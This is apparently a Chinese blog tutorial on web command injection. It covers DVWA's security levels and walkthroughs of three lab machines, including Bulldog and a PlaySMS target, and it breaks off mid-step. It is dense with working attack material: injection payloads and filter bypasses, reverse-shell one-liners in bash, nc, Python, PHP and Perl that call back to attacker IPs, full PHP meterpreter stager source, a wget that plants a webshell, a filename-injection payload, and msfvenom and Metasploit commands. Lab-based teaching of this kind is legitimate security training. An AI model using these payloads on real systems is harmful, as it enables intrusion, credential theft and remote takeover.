WEB安全实战(带靶场)–命令执行

WEB安全实战(带靶场)–命令执行

靶场一:DVWA中的命令执行

靶场二:靶场实验 命令执行

综合实验1链接(失效请在评论区通知)
链接:https://pan.baidu.com/s/11hFpAiPaxnxxsc-qmVk93w 提取码: ka9r
综合实验2链接(失效请在评论区通知)
链接:https://download.vulnhub.com/bulldog/bulldog.ova
综合实验3链接(失效请在评论区通知)
链接: https://pan.baidu.com/s/1EhFUQ5si5pylFlSKRpN3Ug 提取码: bkgy

Brute Force(命令执行)

靶场一:DVWA中的命令执行

DVWA简介

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL
Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command
Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File
Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL
Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

需要注意的是,DVWA
1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

在这里插入图片描述

DVWA的搭建

Freebuf上的这篇文章《WEB靶场搭建教程(PHPstudy+SQLllib+DVWA+upload-labs)》(https://www.freebuf.com/articles/web/270837.html)已经写得非常好了,在这里不再赘述。

Vulnerability: Command Injection(命令注入)

Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xkllYrvT-1671609096127)(media/5411c76ffe231e1650eb7d7263d326f1.png)]

下面对四种级别的代码进行分析。

等级:Low

服务器端核心代码

\<?php

if( isset( \$_POST[ 'Submit' ] ) ) {
    
    

// 获取输入赋值给target

\$target = \$_REQUEST[ 'ip' ];

// 确定操作系统并执行ping命令

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    
    

// 这里是Windows系统命令是ping

\$cmd = shell_exec( 'ping ' . \$target );

}

else {
    
    

\$cmd = shell_exec( 'ping -c 4 ' . \$target );

}

// 结果反馈

echo "\<pre\>{\$cmd}\</pre\>";

}

?\>;

相关函数介绍

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回该字符串以及剩余的部分

(例如echo stristr("Hello world!","wo");最后结果是world!),如果未找到所搜索的字符串,则返回
 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII
 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search
 参数第一次出现之前的字符串部分。

php_uname(mode)


这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a”(此为默认,包含序列”s n r v
 m”里的所有模式),”s”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息),
”m”(返回机器类型)。 可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

漏洞利用

window和linux系统都可以用&&来执行多条命令

127.0.0.1&&net user

**shell_exec(string \$cmd): string**

通过shell执行命令并将完整输出作为字符串返回

PHP的命令执行函数主要有:system、exec、passthru、shell_exec

**\<pre\>**

Html元素标签,常用来表示计算机的源代码

漏洞利用

window和linux系统都可以用关系运算符来执行多条命令

“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假

“&&”:如果前面的语句为真先执行第一个命令后执行第二个命令

“||”:如果前面执行的语句执行出错,则执行后面的语句

“|”:直接执行后面的语句

“;”执行完前面的命令执行后面的

**常用url编码 :

** %20 = 空格
%5c = \
%26 = &
%7c = |

例如:127.0.0.1&&dir

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qsKFJRld-1671609096127)(media/4f43e4d1de3469efceb745102f845707.png)]

如果是在Linux下输入127.0.0.1&&cat /etc/shadow甚至可以读取shadow文件,可见危害之大。

练习命令:

127.0.0.1 && ifconfig

127.0.0.1 & whoami

127.0.0.1 | whoami

127.0.0.1 || ifconfig

等级:Medium

服务器端核心代码

<?php

if( isset( $_POST[ ‘Submit’ ] ) ) {

// 获取输入

$target = $_REQUEST[ ‘ip’ ];

// 设置黑名单

$substitutions = array(

‘&&’ => ‘’,

‘;’ => ‘’,

);

// 删除黑名单数组中的字符。

$target = str_replace( array_keys( $substitutions ),
$substitutions, $target );

if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {

$cmd = shell_exec( 'ping ’ . $target );

}

else {

$cmd = shell_exec( 'ping -n 4 ’ . $target );

}

echo “<pre>{$cmd}</pre>”;

}

?>

str_replace函数

str_replace(find,replace,string,count)

参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。

array_keys() 函数

返回包含数组中所有键名的一个新数组。

例如

<?php

$a=array(“x”=>“A”,“y”=>“B”,“z”=>“C”);

print_r(array_keys($a));

?>

/*结果:

Array ( [0] => x [1] => y [2] => z )

*/

漏洞利用

从上述代码可以看出只是过滤了;和&& 符号,我们依旧可以使用| 和|| 以及&。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vLkZGamw-1671609096127)(media/173d68995ae91363324a59b0b89ea51c.png)]

方法2:由于使用的是str_replace把”&&”和”;”替换为空字符,因此可以采用以下方式绕过:

127.0.0.1&;&ipconfig

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s0y6kJP6-1671609096128)(media/02c9a13e1909b968ff027f492d6181da.png)]

等级:High

源码分析

<?php

if( isset( $_POST[ ‘Submit’ ] ) ) {

$target = trim($_REQUEST[ ‘ip’ ]);

$substitutions = array(

‘&’ => ‘’,

‘;’ => ‘’,

'| ’ => ‘’,

‘-’ => ‘’,

‘$’ => ‘’,

‘(’ => ‘’,

‘)’ => ‘’,

‘`’ => ‘’,

‘||’ => ‘’,

);

$target = str_replace( array_keys( $substitutions ),
$substitutions, $target );

if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {

$cmd = shell_exec( 'ping ’ . $target );

}

else {

$cmd = shell_exec( 'ping -n 4 ’ . $target );

}

echo “<pre>{$cmd}</pre>”;

}

?>

相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

漏洞利用

黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是”|”成了“漏网之鱼”。

127.0.0.1|dir

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RXHA5x1J-1671609096129)(media/0a1a641494e6594dac80b3841395c96c.png)]

方法2:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ntxva1Nv-1671609096130)(media/b357c3ad843c4bf76c319b2ea12f31e5.png)]

看了上面一幅图,大家也许就会有疑惑了,明明源代码里有过滤||,为什么还能执行呢?
我们仔细看一下它的黑名单顺序:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mtceu6oc-1671609096131)(media/050441f157e22bb6d1273bede77f5ec3.png)]

从上面可以看出,它确实有过滤||,但是,你注意到了顺序吗!!它是由上到下依次查找转义,它首先转义|空格

所以127.0.0.1 || ipconfig经过过滤后就是127.0.0.1 |ipconfig,因此,最后的执行命令便成了127.0.0.1 |ipconfig

等级:Impossible

源码分析

<?php

if( isset( $_POST[ ‘Submit’ ] ) ) {

// 检查反CSRF令牌

checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ],
‘index.php’ );

$target = $_REQUEST[ ‘ip’ ];

$target = stripslashes( $target );

// 将IP分成4个八分之一

$octet = explode( “.”, $target );

// 检查每个八位字节是否为整数

if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && (
is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && (
sizeof( $octet ) == 4 ) ) {

// 如果四个八位组都是int,那么就把IP放回一起。

$target = $octet[0] . ‘.’ . $octet[1] . ‘.’ . $octet[2] . ‘.’ .
$octet[3];

if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {

$cmd = shell_exec( 'ping ’ . $target );

}

else {

$cmd = shell_exec( 'ping -n 4 ’ . $target );

}

echo “<pre>{$cmd}</pre>”;

}

else {

// 告知用户输入有误

echo ‘<pre>ERROR: You have entered an invalid IP.</pre>’;

}

}

// 生成反CSRF令牌

generateSessionToken();

?>

相关函数介绍

stripslashes(string)

stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

explode(separator,string,limit)

这里是引用

把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

is_numeric(string)

检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

可以看到,Impossible级别的代码加入了Anti-CSRF;token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

综合实验1:WEB安全命令执行

实验环境

攻击机:kali ip如图所示192.168.31.15

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KgoIdajr-1671609096131)(media/219bd04beabac18cb85eeabbcb1a15ca.png)]
靶场机器:ubuntu ip如图所示192.168.31.244

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QpCvxt22-1671609096131)(media/80970018cc2fcf10ead7a62888029bfe.png)]

第一步:信息探测

扫描主机服务信息以及服务版本

– nmap -sV靶场IP地址

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6FRmaQNW-1671609096132)(media/30664ef68015fa31bc2b48fa7d2b4e79.png)]

快速扫描主机全部信息

– nmap -T4 -A -v靶场IP地址

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NdSMwC70-1671609096133)(media/d5d5c46fb3120f7e2f1bc65e9e0ca52e.png)]

探测敏感信息

– nikto -host http://靶场lP地址:端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VAlgf2cc-1671609096133)(media/7db37145fef4ee0752431b19db4a5405.png)]

根据收集到的信息 访问该页面

第一个页面:http://192.168.31.244:8080/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QuRKR5o6-1671609096133)(media/7fdf3705dc9cb9d3950c7874d226477d.png)]

接着访问第二个页面http://192.168.31.244:8080/test.jsp

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ruIUWinn-1671609096133)(media/d95eb66b5f194bba89935f72f1fcdac0.png)]

根据提示输入ls -l /tmp

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2Mmy0Iyw-1671609096134)(media/7383deae276f17e0293b0779a26a3aff.png)]

可以查看home目录文件。发现用户bill

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SLMeQLio-1671609096134)(media/7bba6aaf6c328edf56da3c26a24ba9eb.png)]

查看bill用户的目录文件,发现可以远程ssh以及使用sudo命令

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EAG5yT3Q-1671609096134)(media/2e2f14c0ac6c6050436c60ec4115b290.png)]

我们利用ssh命令查看root权限

ssh bill@localhost sudo -l

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IJHxfiDF-1671609096135)(media/f926c4eae2a27ff10414c9afbb10ec02.png)]

关闭ubuntu防火墙命令:ufw disable

ssh bill@localhost sudo ufw disable

攻击方式:反弹shell

攻击机启动监听Netcat 介绍

Netcat(简称nc)是一款强大的命令行网络工具,用来在两台机器之间建立TCP/UDP连接,并通过标准的输入输出进行数据的读写

端口扫描

Netcat用来发现一些机器上开放的端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v38FqZ5w-1671609096135)(media/f1ddd04926463a40def6db1f351d290d.png)]

传输文件

同样的,通过建立TCP连接,可以很方便的在两台主机间传输文件。如要将服务器A上的test.txt发送到服务器B(IP地址为172.16.0.4)上,

在服务器A上执行 nc 172.16.0.4 9999 < test.txt

在服务器B上执行 nc -l 9999 > test.txt

正向 shell

使用Netcat能实现类似ssh的功能,即将目标机器的shell终端暴露在某个端口上,然后本地机器使用Netcat连接到目标机器上,就可以访问目标机器的shell终端.

在目标机器上执行 nc -l 9999 | /bin/bash

本地机器上执行 nc 172.16.0.4 9999

虽然我们能使用本地机器传输命令给到目标机器执行,但与ssh连接还是有点区别,因为在本地机器上并不能看到命令的执行结果。可以使用管道巧妙的解决该问题,在目标机器上执行

\$ mkfifo /tmp/pipe

\$ cat /tmp/pipe \| /bin/bash 2\>&1 \| nc -l -p 9999 \> /tmp/pipe

上面两条命令主要功能如下:

  • 用mkfifo命令创建一个命名管道
  • 然后通过cat命令读取/tmp/pipe的内容,将内容通过管道发送给/bin/bash
  • 将/bin/bash的执行结果通过管道发送给nc
  • nc将从本地机器上接收到的命令保存到/tmp/pipe中
  • /tmp/pipe中的命令又被cat读取,传输到/bin/bash中,至次完成整个数据的流向
  • 现在在本地机器上就能收到/bin/bash命令的执行结果啦

言归真转:

反弹shell方法
  1. nc反弹shell

攻击机:nc -lvp 9999 // 监听9999端口

靶机:nc 1.1.1.1 9999 -e /bin/bash // Linux正向连接公网vps1.1.1.1的9999端口

nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows

  1. Bash反弹shell

攻击机:nc -lvp 6666

靶机:bash -i >& /dev/tcp/192.168.32.1/6666 0>&1

3、Python反弹shell

攻击机:nc -lvp 6666

靶机:python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.32.1”,6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’

4、PHP反向shell

攻击机:nc -lvp 6666

靶机:php -r ‘$sock=fsockopen(“192.168.32.1”,6666);exec(“/bin/sh -i <&3
>&3 2>&3”);’

5、Perl反弹shell

攻击机:nc -lvp 6666

靶机:perl -e ‘use Socket;
$i=“192.168.32.1”;$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh
-i”);};’

这里我们用第二种使用bash反弹shell

攻击机kali启动监听端口6666

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Aq02qNRH-1671609096135)(media/ceb9e8ea3c62b02ff015bfdd9caae186.png)]

靶机我们使用ssh命令进行shell反弹

命令:ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.31.15/6666 0>&1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cXkhFQEY-1671609096135)(media/9dc9bd50e1ec09569e02ae4d76f0465b.png)]

此时我们的kali监听成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hvknxQFA-1671609096136)(media/70eadc7d3d8c5d15a734cb8445412a47.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vcWaIzY0-1671609096136)(media/63622dc5367a0a742e72e009c78c8a1b.png)]

获取flag值,实验结束。

渗透测试技巧,远程下载shell文件

攻击机kali开启apache服务

systemctl start apache2.service

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9w7hRvWg-1671609096136)(media/10fdc9e1d0c7f92558bf74a15514ed71.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YDZDa1Eb-1671609096136)(media/a208f5e0142cc61396a4b60e61e8c205.png)]

利用命令执行下载木马文件

ssh bill@localhost sudo wget “http://192.168.31.15/shell.php” -O /var/lib/tomcat8/webapps/ROOT/shell.php

或者使用python开启简易的http服务器

Python3 -m http.server 8080

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1blF4PAt-1671609096137)(media/0f21d76ddd249e7adce6b1121aab82d1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ppNvqWnv-1671609096137)(media/bb83aba3c20251bd13612416b32421e8.png)]

利用命令执行下载木马文件

ssh bill@localhost sudo wget “http://192.168.31.15:8080/shell.php” -O /var/lib/tomcat8/webapps/ROOT/shell.php

制作shell.php文件并复制到/var/www/html目录下面去

复制木马源码

\<?php /\*\*/ error_reporting(0); \$ip = '**192.168.31.15**'; \$port = **4444**; if ((\$f = 'stream_socket_client') && is_callable(\$f)) {
    
     \$s = \$f("tcp://{\$ip}:{\$port}"); \$s_type = 'stream'; } if (!\$s && (\$f = 'fsockopen') && is_callable(\$f)) {
    
     \$s = \$f(\$ip, \$port); \$s_type = 'stream'; } if (!\$s && (\$f = 'socket_create') && is_callable(\$f)) {
    
     \$s = \$f(AF_INET, SOCK_STREAM, SOL_TCP); \$res = @socket_connect(\$s, \$ip, \$port); if (!\$res) {
    
     die(); } \$s_type = 'socket'; } if (!\$s_type) {
    
     die('no socket funcs'); } if (!\$s) {
    
     die('no socket'); } switch (\$s_type) {
    
     case 'stream': \$len = fread(\$s, 4); break; case 'socket': \$len = socket_read(\$s, 4); break; } if (!\$len) {
    
     die(); } \$a = unpack("Nlen", \$len); \$len = \$a['len']; \$b = ''; while (strlen(\$b) \< \$len) {
    
     switch (\$s_type) {
    
     case 'stream': \$b .= fread(\$s, \$len-strlen(\$b)); break; case 'socket': \$b .= socket_read(\$s, \$len-strlen(\$b)); break; } } \$GLOBALS['msgsock'] = \$s; \$GLOBALS['msgsock_type'] = \$s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
    
     \$suhosin_bypass=create_function('', \$b); \$suhosin_bypass(); } else {
    
     eval(\$b); } die();

Msf探测

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EyZcKOHr-1671609096138)(media/c5a614f0b9d3ca94133917ea70febc88.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bhxgWHnC-1671609096138)(media/deff7ffbc01a81d547c26108217913a7.png)]

综合实验2:bulldog

在这里插入图片描述

集成工具SPARTA(kali更名为legion)

Legion简介

Legion是SECFORCE的Sparta的分支,是一个开源,易于使用,超扩展和半自动化的网络渗透测试框架,针对发现,侦察和利用漏洞的信息系统。
Legion由GoVanguard开发和维护。有关军团的更多信息,包括产品路线图,可以在其项目页面上找到。使用NMAP,whataweb,nikto,Vulners,Hydra,SMBenum,dirbuster,sslyzer,webslayer等进行自动侦查和扫描(具有近100个自动调度的脚本

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3SxBRp0D-1671609096139)(media/71c367be3482f3a22c39f9245ed2a8a2.png)]

使用dirbuster暴力破解网站目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dwYdMV9c-1671609096139)(media/64665584313f802f9198bb493998bfe7.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M3NsqGKz-1671609096140)(media/d4cb98cac03e3c170abf1652d9136b41.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ms8NQ5oR-1671609096140)(media/fa57dd495953282ff8c2cbd036f2e4e2.png)]

也可以使用nikto查找敏感目录(这里不再阐述),这里发现dev目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DsZVujL4-1671609096140)(media/5f58bd32ff21a2920922ee6308759d5f.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YOuvUqDd-1671609096141)(media/568cc28581ac09118546e87d8bc01832.png)]

点击web-shell,出现以下回复,需要登陆用户。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0QTUIF1Q-1671609096141)(media/024d17915502469270f8d2ceb552879b.png)]

我们查看web-shell页面源码进行分析,发现有注释行。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YElfinKy-1671609096141)(media/fa847e897e716d75f4395a426793aa58.png)]

Team Lead: [email protected]<br><!–6515229daf8dbdc8b89fed2e60f107433da5f2cb–>

Back-up Team Lead: [email protected]<br><br><!–38882f3b81f8f2bc47d9f3119155b05f954892fb–>

Front End: [email protected]<br><!–c6f7e34d5d08ba4a40dd5627508ccb55b425e279–>

Front End: [email protected]<br><br><!–0e6ae9fe8af1cd4192865ac97ebf6bda414218a9–>

Back End: [email protected]<br><!–553d917a396414ab99785694afd51df3a8a8a3e0–>

Back End: [email protected]<br><br><!–ddf45997a7e18a25ad5f5cf222da64814dd060d5–>

Database: [email protected]<br><!–d8b8dd5e7f000b8dea26ef8428caf38c04466b3e–>

分别copy出来进行hash解密

可以使用在线解密网址:https://www.cmd5.com/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HsU2dahi-1671609096141)(media/20af0a3e1ecb1a32b9a496b083ddac4b.png)]

或者使用john进行解密

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BsQmiZ9z-1671609096142)(media/f97a8f01f2206fc02a8bf7e4e5f33f27.png)]

这里我们获取到一个用户名为:nick,密码为:bulldog,进行登陆后页面存在cookie缓存,此时我们的web-shell就能正常打开。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MamsmuZO-1671609096142)(media/b2ae3354c763bcb5e8492e6df5e80d58.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SpnC2EB3-1671609096143)(media/ac75f1b198a5a8fde86604431406db4a.png)]

此时我们打开web-shell页面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gqpTa1G9-1671609096143)(media/6c3f5531d1da97a0ec5023dc2ce932d7.png)]

发现命令执行窗口

使用echo命令进行shell反弹

echo ‘bash -i >& /dev/tcp/192.168.31.15/6666 0>&1’ | bash

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qxHkiunl-1671609096144)(media/77451602ec9fa1a5e759e9ffba43d4c8.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gWq4nN1A-1671609096144)(media/c4db577951716228e786e35a68653169.png)]

进入到该目录,发现customPermissionApp文件,以及note清单

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bVnry1vV-1671609096144)(media/7d7519e43a56b6e632fc6714065b2be9.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OXtIJFV0-1671609096145)(media/f76fe9928e6e16967e2fd50f2284082e.png)]

密码:SUPERultimatePASSWORDyouCANTget

使用sudo su 命令(sudo su命令执行切换到root用户,需要当前用户的密码)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jWuSPish-1671609096145)(media/1c397c88f24a6004cd5f9bf4b83f10eb.png)]

最后切换到根目录,获取到最终的祝贺语

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Dthvqtb-1671609096146)(media/360911dfc488cdab9bb817de45029047.png)]

综合实验3:命令注入(多种解析)

实验环境

攻击机:kali ip如图所示192.168.31.15

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o3IW09fF-1671609096146)(media/219bd04beabac18cb85eeabbcb1a15ca.png)]

靶场机器:ubuntu ip如图所示192.168.31.47

在这里插入图片描述

第一步:信息探测

快速扫描主机全部信息

– nmap -T4 -A -v靶场IP地址

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-To4WuPAg-1671609096147)(media/a33d3f7dc13fa74a46df5b3d97ce6e75.png)]

发现开放有80端口,以及robots.txt文件,还有/ange1 /angel1 /nothing /tmp /uploads

五个目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UoFCbD8o-1671609096148)(media/2613133c6a897ef63a45e852170d1876.png)]

探测敏感信息

– nikto -host http://靶场lP地址:端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jC7KkGny-1671609096148)(media/3d59853ca37768e2a4f1004c82fc5b11.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EFanogpq-1671609096149)(media/054e2b780c5426a5a54f295392ce7b25.png)]

或者使用工具legion进行探测

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MNlGNWje-1671609096149)(media/04dda1dfd268d47958dc0ea0226b0ee6.png)]

更多的暴力破解目录,还可以使用dirbuster工具或者命令dirb http://ip:端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zjiVV4LJ-1671609096150)(media/505a1eb67a89023623d3da61d4a4e028.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wQMD87wS-1671609096150)(media/99a2f356b892fda8ba1e7336e72ce262.png)]

接着我们来访问刚才扫描到的目录

/robots.txt 发现几个目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W6JLIt7T-1671609096150)(media/06dce1da0c9d076cf8bde9279a5c6d61.png)]

访问/angel /noting /tmp /uploads 网页均无任何有用信息(这里就要查看源码!!)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YgkjKxPG-1671609096150)(media/97414b0a68f739b5ff0a29c7b6d46e01.png)]

查看/nothing 源码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vf5krDBE-1671609096151)(media/0a4f7628f3d70ad6922183b83782a84c.png)]

接着访问

http://192.168.31.47/secure/ 发现有一个备份文件,打开是一个需要密码的MP3文件(密码就是上图中的freedom)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jQKxbKa7-1671609096151)(media/3eb999dbad60dd70ad5cc27636476ea3.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HjZ1597I-1671609096151)(media/bb71e8a7bcaecae72b3fe4995cf5ecf5.png)]

但是文件打不开,可能不是一个mp3文件,需要file命令判断文件类型,cat读取文件内容。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VmLyWPCB-1671609096151)(media/d76c82d2731a9fa975ea6ec64b0fab0c.png)]

发现的用户名是touhid

以及目录url : /SecreTSMSgatwayLogin ,访问该目录发现登陆页面

http://192.168.31.47/SecreTSMSgatwayLogin/index.php?app=main&inc=core_auth&route=login

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uVVL9D1F-1671609096152)(media/4824929302f51aa7010e50b42eb74212.png)]

用户名:touhid

密码尝试后发现是diana

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WNyUM3Lv-1671609096152)(media/04b13c1791a1068239a4532003d28b33.png)]

使用渗透测试工具searchsploit 探测该网站存在过那些可利用漏洞

命令格式:searchsploit 对应系统

例如此处:searchsploit playsms

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5hCOtE6B-1671609096152)(media/a4d8faf510e970558ba062856c931b15.png)]

查询最新的漏洞

发现存在命令执行漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZcOwD4rG-1671609096152)(media/9c127e882065861268cf2bf6cae476eb.png)]

存在文件上传漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6dVA8dCD-1671609096153)(media/111b321f6aa9ffd095029a366e8b3dff.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7TJRmnoO-1671609096153)(media/c36a48aaab5c50f33297951a2a206cc4.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uYsoOJNQ-1671609096154)(media/d88d56a87c03a410af70fbbda9b59bf7.png)]

使用burpsuite进行抓包,根据漏洞提示,在filename处可以进行命令执行。

<?php system(‘id’);die(); ?>.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hRxWNlEm-1671609096154)(media/2b6a62ec0e763c83405a3329b077c0df.png)]

漏洞利用1:命令执行漏洞

**
**

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QOiRYeCx-1671609096154)(media/62ef86ad35049143a017eac6420eabe3.png)]

使用第2个模块

use exploit/multi/http/playsms_filename_exec

并查看需要配置的选项

show options

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZLYecL6F-1671609096155)(media/7f76fddeddff5cfa235f728bcfa1ebb8.png)]

使用set命令设置配置信息

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BXOah2mI-1671609096155)(media/2dfc9e5f6d88b4eb711fdef0d4c7fc16.png)]

最后运行run,获取到meterpreter

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eQNXKVR9-1671609096156)(media/94208ea2d67bfc4d7d12e220e7075d4a.png)]

漏洞利用2:命令执行漏洞(利用远程下载webshell)

  1. 生成shell

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f elf > /var/www/html/webshell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3FB2FQND-1671609096162)(media/af93bef39b6bb3b6fc408eac3147ec1b.png)]

2、启动监听(一定要先run)

